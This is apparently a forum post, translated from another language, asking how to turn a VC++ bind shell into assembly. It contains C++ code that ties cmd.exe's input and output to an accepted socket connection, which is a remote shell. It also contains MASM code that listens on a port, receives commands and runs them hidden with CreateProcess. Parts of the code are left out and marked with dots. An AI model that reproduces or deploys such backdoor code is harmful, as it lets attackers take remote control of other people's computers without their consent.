|
VC++ is like this:
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//If the client requests port 830, accept the connection
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//Establish process
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
This code realizes the output redirection of cmd, but I don’t know how to do it with assembly. Generally, I use CreateProcess to execute the command line directly.....
.
.
.
.
invoke WSAStartup, 0202H, addr @wsaData; initialize WSAStartup library
invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in; clear memory
mov @stAddr.sin_family,AF_INET; Set IP format
invoke htons, TCP_PORT; set the port
mov @stAddr.sin_port,ax; save
mov @stAddr.sin_addr,INADDR_ANY; set the IP address
invoke socket,AF_INET,SOCK_STREAM,0; load socket
.if eax != INVALID_SOCKET
mov hScoket,eax; save the handle
.endif
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in; bind
.if eax != SOCKET_ERROR
invoke listen,hScoket,5; start listening, 5 connections are by default
.endif
invoke accept, hScoket, NULL, NULL; if there is a client connection, confirm immediately
.
.
invoke recv,hScoket1,addr szBuffer,1024,0; start receiving commands
.
.
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\; if yes, process it
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo
This is very troublesome, if you can directly realize the cmd output steering, it will be very good |
|